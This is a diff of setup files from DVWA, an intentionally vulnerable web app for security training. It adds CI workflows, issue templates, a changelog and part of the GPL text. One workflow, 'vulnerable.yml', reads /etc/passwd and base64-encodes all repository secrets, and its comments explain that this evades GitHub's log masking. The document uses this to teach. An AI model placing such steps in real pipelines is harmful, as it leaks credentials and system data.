diff --git a/DVWA/.dockerignore b/DVWA/.dockerignore new file mode 100644 index 00000000..889c463b --- /dev/null +++ b/DVWA/.dockerignore @@ -0,0 +1,6 @@ +**/.git +**/.gitignore +**/.github +**/Dockerfile* +**/.dockerignore +**/compose.yml diff --git a/DVWA/.gitattributes b/DVWA/.gitattributes new file mode 100644 index 00000000..74dfb38f --- /dev/null +++ b/DVWA/.gitattributes @@ -0,0 +1,31 @@ +# Auto detect text files and perform LF normalization +* text=auto + +# +# The above will handle all files NOT found below +# + +# Documents +*.pdf diff=astextplain +*.PDF diff=astextplain +*.md text diff=markdown + +# Graphics +*.png binary +*.jpg binary +*.jpeg binary +*.ico binary + +# Archives +*.db binary + +# Text files where line endings should be preserved +*.patch -text + +# +# Exclude files from exporting +# + +.gitattributes export-ignore +.gitignore export-ignore +.gitkeep export-ignore diff --git a/DVWA/.github/FUNDING.yml b/DVWA/.github/FUNDING.yml new file mode 100644 index 00000000..a8ca1ee3 --- /dev/null +++ b/DVWA/.github/FUNDING.yml @@ -0,0 +1,4 @@ +# These are supported funding model platforms + +github: digininja +custom: https://digi.ninja diff --git a/DVWA/.github/ISSUE_TEMPLATE/bug-report---installation.md b/DVWA/.github/ISSUE_TEMPLATE/bug-report---installation.md new file mode 100644 index 00000000..47e936d7 --- /dev/null +++ b/DVWA/.github/ISSUE_TEMPLATE/bug-report---installation.md @@ -0,0 +1,47 @@ +--- +name: Bug report - Installation +about: Create a report about installation issues +title: '' +labels: '' +assignees: '' + +--- + +Before you raise a bug, please make sure you have fully read the README, especially if your bug relates to configuring the database. + +Issues will be closed if the answer is in the README and no obvious attempts have been made to follow it. + +Support will only be given for users running the latest pull of code from GitHub. Not a tagged release, not a pre-installed app, not a ZIP you got from a mate. + +**Describe the bug** +A clear and concise description of what the bug is. + +**To Reproduce** +What have you installed, what are you running when you get the error... + +Steps to reproduce the behaviour: +1. Go to '...' +2. Click on '....' +3. Scroll down to '....' +4. See error + +**Logs** +Include the last five lines of the Apache log file from directly after the problem happened. + +**Expected behaviour** +A clear and concise description of what you expected to happen. + +**What have you done to help fix the issue yourself?** +What have you tried, what research have you done, what changes have you made. + +**Screenshots** +If applicable, add screenshots to help explain your problem. + +**System (please complete the following information):** + - OS: [e.g. Windows, Ubuntu] + - Database and Version [e.g. MySQL, MariaDB, 10.5.12-MariaDB] + - PHP Version [e.g. 7.4.25] +- Installed PHP modules + +**Additional context** +Add any other context about the problem here. diff --git a/DVWA/.github/ISSUE_TEMPLATE/bug-report---vulnerability.md b/DVWA/.github/ISSUE_TEMPLATE/bug-report---vulnerability.md new file mode 100644 index 00000000..f1ef45a4 --- /dev/null +++ b/DVWA/.github/ISSUE_TEMPLATE/bug-report---vulnerability.md @@ -0,0 +1,46 @@ +--- +name: Bug report - Vulnerability +about: Creating a report in a bug in a vulnerability +title: '' +labels: '' +assignees: '' + +--- + +Before you raise a bug, please make sure you have fully read the README, especially if your bug relates to configuring the database. + +Issues will be closed if the answer is in the README and no obvious attempts have been made to follow it. + +Support will only be given for users running the latest pull of code from GitHub. Not a tagged release, not a pre-installed app, not a ZIP you got from a mate. + +**Describe the bug** +A clear and concise description of what the bug is. + +**To Reproduce** +Steps to reproduce the behaviour: +1. Go to '...' +2. Click on '....' +3. Scroll down to '....' +4. See error + +**Expected behaviour** +A clear and concise description of what you expected to happen. + +**What have you done to help fix the issue yourself?** +What have you tried, what research have you done, what changes have you made. + +**Screenshots** +If applicable, add screenshots to help explain your problem. + +**System (please complete the following information):** + - DVWA installation OS [e.g. Windows, Ubuntu] + - Database and Version [e.g. MySQL, MariaDB, 10.5.12-MariaDB] + - PHP Version [e.g. 7.4.25] + +**Browser/Proxy (please complete the following information):** + - OS - The one you are running the browser in: [e.g. Windows 10] + - Browser [e.g. Chrome, Firefox] + - Proxy [e.g. Burp, ZAP] + +**Additional context** +Add any other context about the problem here. diff --git a/DVWA/.github/ISSUE_TEMPLATE/i-m-stuck.md b/DVWA/.github/ISSUE_TEMPLATE/i-m-stuck.md new file mode 100644 index 00000000..9b60f585 --- /dev/null +++ b/DVWA/.github/ISSUE_TEMPLATE/i-m-stuck.md @@ -0,0 +1,21 @@ +--- +name: I'm Stuck +about: When you are stuck exploiting a vulnerability +title: '' +labels: 'stuck' +assignees: '' + +--- + +Questions here may or may not be answered depending on the state of the question, to increase your chance, read this before asking [Asking For Technical Help](https://digi.ninja/blog/asking_for_help.php). + +Basically, the more details you give, the more chance of getting an answer. We need at least: + +- Where did you get DVWA from? +- What OS are you installing it on? +- Last five lines from the web server access and error log from the time the error occurred if you got that far. +- The error you got when you got stuck. +- Any previous errors. +- What you have tried to do yourself to fix the problem. + +Support will only be given for users running the latest pull of code from GitHub. Not a tagged release, not a pre-installed app, not a ZIP you got from a mate. diff --git a/DVWA/.github/workflows/codeql-analysis.yml b/DVWA/.github/workflows/codeql-analysis.yml new file mode 100644 index 00000000..21178c9a --- /dev/null +++ b/DVWA/.github/workflows/codeql-analysis.yml @@ -0,0 +1,71 @@ +# For most projects, this workflow file will not need changing; you simply need +# to commit it to your repository. +# +# You may wish to alter this file to override the set of languages analyzed, +# or to provide custom queries or build logic. +name: "CodeQL" + +on: + push: + branches: [master] + pull_request: + # The branches below must be a subset of the branches above + branches: [master] + schedule: + - cron: '0 15 * * 3' + +jobs: + analyze: + name: Analyze + runs-on: ubuntu-latest + + strategy: + fail-fast: false + matrix: + # Override automatic language detection by changing the below list + # Supported options are ['csharp', 'cpp', 'go', 'java', 'javascript', 'python'] + language: ['javascript', 'python'] + # Learn more... + # https://docs.github.com/en/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#overriding-automatic-language-detection + + steps: + - name: Checkout repository + uses: actions/checkout@v3 + with: + # We must fetch at least the immediate parents so that if this is + # a pull request then we can checkout the head. + fetch-depth: 2 + + # If this run was triggered by a pull request event, then checkout + # the head of the pull request instead of the merge commit. + - run: git checkout HEAD^2 + if: ${{ github.event_name == 'pull_request' }} + + # Initializes the CodeQL tools for scanning. + - name: Initialize CodeQL + uses: github/codeql-action/init@v2 + with: + languages: ${{ matrix.language }} + # If you wish to specify custom queries, you can do so here or in a config file. + # By default, queries listed here will override any specified in a config file. + # Prefix the list here with "+" to use these queries and those in the config file. + # queries: ./path/to/local/query, your-org/your-repo/queries@main + + # Autobuild attempts to build any compiled languages (C/C++, C#, or Java). + # If this step fails, then you should remove it and run the build manually (see below) + - name: Autobuild + uses: github/codeql-action/autobuild@v2 + + # ℹ️ Command-line programs to run using the OS shell. + # 📚 https://git.io/JvXDl + + # ✏️ If the Autobuild fails above, remove it and uncomment the following three lines + # and modify them (or add more) to build your code if your project + # uses a compiled language + + #- run: | + # make bootstrap + # make release + + - name: Perform CodeQL Analysis + uses: github/codeql-action/analyze@v2 diff --git a/DVWA/.github/workflows/docker-image.yml b/DVWA/.github/workflows/docker-image.yml new file mode 100644 index 00000000..31771fe5 --- /dev/null +++ b/DVWA/.github/workflows/docker-image.yml @@ -0,0 +1,36 @@ +name: Docker Image CI + +on: + workflow_dispatch: + push: + branches: [master] + +jobs: + build: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v3 + + - name: Login to GitHub Container Registry + uses: docker/login-action@v1 + with: + registry: ghcr.io + username: ${{ github.actor }} + password: ${{ secrets.GITHUB_TOKEN }} + + - name : Build and push DVWA image + run: | + IMAGE_ID=ghcr.io/${{ github.repository_owner }}/dvwa + IMAGE_ID=$(echo $IMAGE_ID | tr '[A-Z]' '[a-z]') + VERSION=$(echo "${{ github.ref }}" | sed -e 's,.*/\(.*\),\1,') + [[ "${{ github.ref }}" == "refs/tags/"* ]] && VERSION=$(echo $VERSION | sed -e 's/^v//') + [ "$VERSION" == "master" ] && VERSION=latest + COMMIT=$(echo "${{ github.sha }}" | cut -c 1-7) + echo IMAGE_ID=$IMAGE_ID + echo VERSION=$VERSION + echo COMMIT=$COMMIT + docker image build --tag dvwa . + docker image tag dvwa $IMAGE_ID:$VERSION + docker image tag dvwa $IMAGE_ID:$COMMIT + docker image push $IMAGE_ID:$VERSION + docker image push $IMAGE_ID:$COMMIT diff --git a/DVWA/.github/workflows/pytest.yml b/DVWA/.github/workflows/pytest.yml new file mode 100644 index 00000000..c508618e --- /dev/null +++ b/DVWA/.github/workflows/pytest.yml @@ -0,0 +1,25 @@ +name: CI + +on: + push: + branches: [master] + pull_request: + branches: [master] + schedule: + # Every Sunday at 0AM UTC + - cron: "0 0 * * 0" + +jobs: + Pytest: + runs-on: ubuntu-latest + + steps: + - uses: actions/checkout@v3 + with: + fetch-depth: 0 + + - name: Install and Run Pytest + run: | + export SETUPTOOLS_USE_DISTUTILS=stdlib + pip3 install pytest + python3 -m pytest -s diff --git a/DVWA/.github/workflows/shiftleft-analysis.yml b/DVWA/.github/workflows/shiftleft-analysis.yml new file mode 100644 index 00000000..1013170b --- /dev/null +++ b/DVWA/.github/workflows/shiftleft-analysis.yml @@ -0,0 +1,42 @@ +# This workflow integrates Scan with GitHub's code scanning feature +# Scan is a free open-source security tool for modern DevOps teams from ShiftLeft +# Visit https://slscan.io/en/latest/integrations/code-scan for help +name: SL Scan + +# This section configures the trigger for the workflow. Feel free to customize depending on your convention +on: + push: + branches: [master] + pull_request: + branches: [master] + +jobs: + Scan-Build: + # Scan runs on ubuntu, mac and windows + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v3 + with: + fetch-depth: 0 + # Instructions + # 1. Setup JDK, Node.js, Python etc depending on your project type + # 2. Compile or build the project before invoking scan + # Example: mvn compile, or npm install or pip install goes here + # 3. Invoke Scan with the github token. Leave the workspace empty to use relative url + + - name: Perform Scan + uses: ShiftLeftSecurity/scan-action@master + env: + WORKSPACE: "" + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + SCAN_AUTO_BUILD: true + with: + output: reports + # Scan auto-detects the languages in your project. To override uncomment the below variable and set the type + # type: credscan,java + # type: python + + - name: Upload report + uses: github/codeql-action/upload-sarif@v2 + with: + sarif_file: reports diff --git a/DVWA/.github/workflows/vulnerable.yml b/DVWA/.github/workflows/vulnerable.yml new file mode 100644 index 00000000..405310d5 --- /dev/null +++ b/DVWA/.github/workflows/vulnerable.yml @@ -0,0 +1,54 @@ +name: Vulnerable Action + +on: + push: + branches: + - master + +jobs: + run_commands: + name: Run Linux Commands + runs-on: ubuntu-latest + steps: + - name: Directory Listing + run: | + ls -al + ls / + pwd + id + cat /etc/passwd + + get_secrets: + name: Get Some Secrets + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + fetch-depth: 0 + + - name: Get Secret + env: + ALLMYSECRETS: ${{ toJSON(secrets) }} + ALLMYVARS: ${{ toJSON(vars) }} + SUPER_SECRET: ${{ secrets.DVWA_SECRET_KEY }} + run: | + # This will just show *** + echo "$SUPER_SECRET" + + # This will put the secret into a file and then display the file, but that + # will still only show *** + echo "$SUPER_SECRET" > secret_file + cat secret_file + + # This will try to show all the secrets, but will show *** instead + echo "$ALLMYSECRETS" + + # This will show the variables, because variables are public + echo "$ALLMYVARS" + + # This will show a base64 encoded version of the one secret. + # Github doesn't recognise this so will allow it to be shown + echo "$SUPER_SECRET" | base64 + + # Same for all the tokens. + echo "$ALLMYSECRETS" | base64 diff --git a/DVWA/.gitignore b/DVWA/.gitignore new file mode 100644 index 00000000..eb451b8a --- /dev/null +++ b/DVWA/.gitignore @@ -0,0 +1,16 @@ +# Neither the config file or its backup should go +# into the repo. +config/config.inc.php.bak +config/config.inc.php + +# Vim swap files +.*swp + +# VS Code editor files +*.code-workspace + +# Used by pytest +tests/__pycache__/ + +# Don't include any uploaded images +hackable/uploads/* diff --git a/DVWA/CHANGELOG.md b/DVWA/CHANGELOG.md new file mode 100644 index 00000000..723a8613 --- /dev/null +++ b/DVWA/CHANGELOG.md @@ -0,0 +1,162 @@ +DAMN VULNERABLE WEB APPLICATION +======================= + +v1.10 (*Not Yet Released) +====== + ++ Improved IIS support. (@g0tmi1k) ++ Improved setup system check. (@g0tmi1k) + +v1.9 (2015-10-05) +====== + ++ Added a dedicated objective (or "flag") for file include. (@g0tmi1k) ++ Added a warning to any module that requires a certain configuration. (@g0tmi1k) ++ Added comments to all source code that would be visible via DVWA modules. (@g0tmi1k) ++ Added CSRF token to pre-auth forms (login/setup/security pages). (@g0tmi1k + @Shinkurt) ++ Added HttpOnly cookie flag on impossible levels. (@g0tmi1k) ++ Added more detail to the documentation. (@g0tmi1k) ++ Added PDO to all impossible levels requiring MySQL. (@g0tmi1k) ++ Added PHPIDS options into the config file. (@g0tmi1k) ++ Added system check to setup. (@g0tmi1k) ++ Added various information to all help pages for every module. (@g0tmi1k) ++ Changed brute force medium to be harder due to sleep. (@g0tmi1k) ++ Changed file include landing page + added 3x example pages. (@g0tmi1k) ++ Changed file include medium to be harder due to more filters. (@g0tmi1k) ++ Changed HTTP REFERER check for medium level CSRF. (@g0tmi1k) ++ Changed input box for medium level with SQLi + SQLi Blind. (@g0tmi1k) ++ Changed SQLi + SQLi Blind to be $_POST rather than $_GET. (@g0tmi1k) ++ Changed SQLi Blind to be a real example of the vulnerability. (@g0tmi1k) ++ Fixed brute force and file upload impossible levels, as they were vulnerable. (@g0tmi1k + @Shinkurt) ++ Fixed bug with file fnclude page not loading. (@g0tmi1k) ++ Fixed CAPTCHA bug to read URL parameters on impossible. (@g0tmi1k) ++ Fixed CAPTCHA bug where the form wouldn't be visible. (@g0tmi1k) ++ Fixed CAPTCHA bug where the URL parameters were not being used for low + medium. (@g0tmi1k) ++ Fixed CSRF medium level bug when not on localhost. (@g0tmi1k) ++ Fixed setup bug with custom URL path. (@g0tmi1k) ++ Removed PostgreSQL DB support. (@g0tmi1k) ++ Renamed 'Command Execution' to 'Command Injection'. (@g0tmi1k) ++ Renamed 'high' level to 'impossible' and created new vectors for 'high'. (@g0tmi1k) ++ Updated README and documentation. (@g0tmi1k) ++ Various code cleanups in the core PHP files + CSS. (@g0tmi1k) ++ Various setup improvements (e.g. redirection + limited menu links). (@g0tmi1k) + +v1.8 (2013-05-01) +====== + ++ Versioning change: Version numbers now follow Major.Minor (e.g. v1.8) removing the middle digit. ++ Moved default security level setting to the config file. ++ Fixed a bug which prevented setup when a database name other than 'dvwa' was used. ++ Added a logic challenge involving an insecure CAPTCHA (requires external internet access) + +v1.0.7 (2010-09-08) +====== + ++ Re-designed the login page + made some other slight cosmetic changes. 06/06/2010 (@ethicalhack3r) ++ Started PostgreSQL implementation. 15/03/2010 (@ethicalhack3r) ++ A few small cosmetic changes. 15/03/2010 (@ethicalhack3r) ++ Improved the help information and look. 15/03/2010 (@ethicalhack3r) ++ Fixed a few bugs thanks to @Digininja. 15/03/2010 (@ethicalhack3r) ++ Show logged in username. 05/02/2010 (Jason Jones) ++ Added new info on RandomStorm. 04/02/2010 (@ethicalhack3r) ++ Added 'SQL Injection (Blind)'. 04/02/2010 (@ethicalhack3r) ++ Added official documentation. 21/11/2009 (@ethicalhack3r) ++ Implemented view all source functionality. 16/10/2009 (tmacuk, craig, @ethicalhack3r) + +v1.0.6 (2009-10-05) +====== + ++ Fixed a bug where the logo would not show on first time use. 03/09/2009 (@ethicalhack3r) ++ Removed 'current password' input box for low+med CSRF security. 03/09/2009 (@ethicalhack3r) ++ Added an article which was written for OWASP Turkey. 03/10/2009 (@ethicalhack3r) ++ Added more toubleshooting information. 02/10/2009 (@ethicalhack3r) ++ Stored XSS high now sanitises output. 02/10/2009 (@ethicalhack3r) ++ Fixed a 'bug' in XSS stored low which made it not vulnerable. 02/10/2009 (@ethicalhack3r) ++ Rewritten command execution high to use a whitelist. 30/09/09 (@ethicalhack3r) ++ Fixed a command execution vulnerability in exec high. 17/09/09 (@ethicalhack3r) ++ Added some troubleshooting info for PHP 5.2.6 in readme.txt. 17/09/09 (@ethicalhack3r) ++ Added the upload directory to the upload help. 17/09/09 (@ethicalhack3r) + +v1.0.5 (2009-09-03) +====== + ++ Made IE friendly as much as possible. 30/08/2009 (@ethicalhack3r) ++ Removed the acunetix scan report. 30/08/2009 (@ethicalhack3r) ++ Added 'Clear Log' button to PHPIDS parser. 27/08/2009 (@ethicalhack3r) ++ Implemented PHPIDS log parser. 27/08/2009 (@ethicalhack3r) ++ Implemented Stored XSS vulnerability. 27/08/2009 (@ethicalhack3r) ++ Added htaccess rule for localhost access only. 22/08/2009 (@ethicalhack3r) ++ Added CSRF. 01/08/2009 (@ethicalhack3r) ++ Implemented sessions/login. 01/08/2009 (@ethicalhack3r) ++ Complete recode. (jamesr) ++ Complete redesign. (jamesr) ++ Delimited 'dvwa' in session- minimising the risk of clash with other projects running on localhost. 01/08/2009 (jamesr) ++ Integrated PHPIDS v0.6. 01/08/2009 (jamesr) ++ Streamlined login functionality. 01/08/2009 (jamesr) + +v1.0.4 (2009-06-29) +====== + ++ Added acunetix scan report. 24/06/2009 ++ All links use http://hiderefer.com to hide referrer header. 23/06/2009 ++ Updated/added 'more info' links. 23/06/2009 ++ Moved change log info to CHANGELOG.txt. 22/06/2009 ++ Fixed the exec.php UTF-8 output. 16/06/2009 ++ Moved Help/View source buttons to footer. 12/06/2009 ++ Fixed phpInfo bug. 12/06/2009 ++ Made dvwa IE friendly. 11/06/2009 ++ Fixed html bugs. 11/06/2009 ++ Added more info to about page. 03/06/2009 ++ Added pictures for the users. 03/06/2009 ++ Fixed typos on the welcome page. 03/06/2009 ++ Improved README.txt and fixed typos. 03/06/2009 ++ Made SQL injection possible in sqli_med.php. Thanks to Teodor Lupan. 03/06/2009 + +v1.0.3 (2009-05-25) +====== + ++ Changed XAMPP link in index.php. 25/05/2009 ++ Set default security to low. 25/05/2009 ++ Improved output in setup.php. 25/05/2009 + +v1.0.2 (2009-05-24) +====== + ++ Removed phpinfo on higher security levels. 24/05/2009 ++ Moved all vulnerable code to /source/. 24/05/2009 ++ Added viewsource. 24/05/2009 + +v1.0.1 (2009-05-24) +====== + ++ Implemented different security levels. 24/05/2009 ++ Changed XSS from POST to GET. 22/05/2009 ++ Some changes to CSS. 22/05/2009 ++ Version number now in variable in header.php. 21/05/2009 ++ Added about page. 21/05/2009 ++ Updated login script to use database. 21/05/2009 ++ Added admin user to database. 21/05/2009 ++ Combined RFI + LFI to make 'File Inclusion'. 21/05/2009 ++ More realism to Local File Inclusion. 21/05/2009 ++ Better error output on upload script. 21/05/2009 + +v1.0 (2009-05-20) +==== + ++ Made command execution more realistic. 20/05/2009 ++ Added help buttons. 20/05/2009 ++ Added .htaccess file to turn magic quotes off. 20/05/2009 ++ Improved database creation with setup.php. 19/05/2009 ++ Amended installation instructions in README file. 19/05/2009 ++ Added GNU GPL license. 19/05/2009 ++ Added a robots.txt file with disallow all. 26/01/2009 ++ Removed link to www.ethicalhacker.co.uk in footer. 26/01/2009 ++ Added better error output on magic quotes. 26/01/2009 + + +Links +===== + ++ Homepage: http://www.dvwa.co.uk + +_Created by the DVWA team._ diff --git a/DVWA/COPYING.txt b/DVWA/COPYING.txt new file mode 100644 index 00000000..53499081 --- /dev/null +++ b/DVWA/COPYING.txt @@ -0,0 +1,623 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, 